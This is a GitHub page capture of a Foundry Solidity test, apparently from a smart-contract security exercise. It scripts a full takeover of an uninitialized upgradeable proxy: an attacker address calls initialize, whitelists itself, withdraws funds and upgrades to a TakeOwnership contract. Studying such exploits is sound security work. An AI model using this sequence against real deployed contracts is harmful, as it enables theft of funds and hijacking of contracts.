-
Notifications
You must be signed in to change notification settings - Fork 7
/
Proxy.t.sol
119 lines (102 loc) · 4.02 KB
/
Proxy.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import {DasProxy} from "../../src/proxy/DasProxy.sol";
import {Impl} from "../../src/proxy/Impl.sol";
import {TakeOwnership} from "./TakeOwnership.sol";
contract ProxyTest is Test {
DasProxy public proxy;
Impl public impl;
address public user = address(123);
address public attacker = address(456);
function setUp() public {
vm.prank(user);
impl = new Impl();
vm.prank(user);
proxy = new DasProxy(address(impl), "");
deal(user, 1 ether);
deal(address(this), 1 ether);
deal(attacker, 1 ether);
}
function testProxyIsNotInitialized() public {
(bool validResponse, bytes memory returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
address owner = abi.decode(returnedData, (address));
assertEq(owner, address(0), "!owner");
assertEq(impl.owner(), user, "!owner");
}
function testTaskFlow() public {
(bool validResponse, bytes memory returnedData) = address(proxy).call{value: 0.1 ether}(
abi.encodeWithSignature("initialize(address)", address(0))
);
assertTrue(validResponse);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
address owner = abi.decode(returnedData, (address));
assertEq(owner, address(this));
// attacker can call initialize
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call{value: 0.1 ether}(
abi.encodeWithSignature("initialize(address)", address(0))
);
assertTrue(validResponse);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
owner = abi.decode(returnedData, (address));
assertEq(owner, attacker);
// attacker can call upgrade
vm.prank(attacker);
TakeOwnership takeOwnership = new TakeOwnership();
// cannot update without withdrawing funds
vm.prank(attacker);
vm.expectRevert(bytes("!withdraw"));
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership))
);
// cannot update without whitelisting
vm.prank(attacker);
vm.expectRevert(bytes("!whitelisted"));
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(0))
);
// whitelist owner
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("whitelistUser(address)", attacker)
);
// cannot update without withdrawing funds
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("withdraw(uint256)", 2)
);
// upgrade proxy
vm.prank(attacker);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership))
);
assertTrue(validResponse);
// cannot initalize
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("initialize(address)", address(0))
);
assertFalse(validResponse);
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("owner()")
);
assertTrue(validResponse);
owner = abi.decode(returnedData, (address));
// owner is still attacker
assertEq(owner, attacker);
// cannot upgrade proxy impl
(validResponse, returnedData) = address(proxy).call(
abi.encodeWithSignature("upgradeTo(address)", address(impl))
);
assertFalse(validResponse);
}
}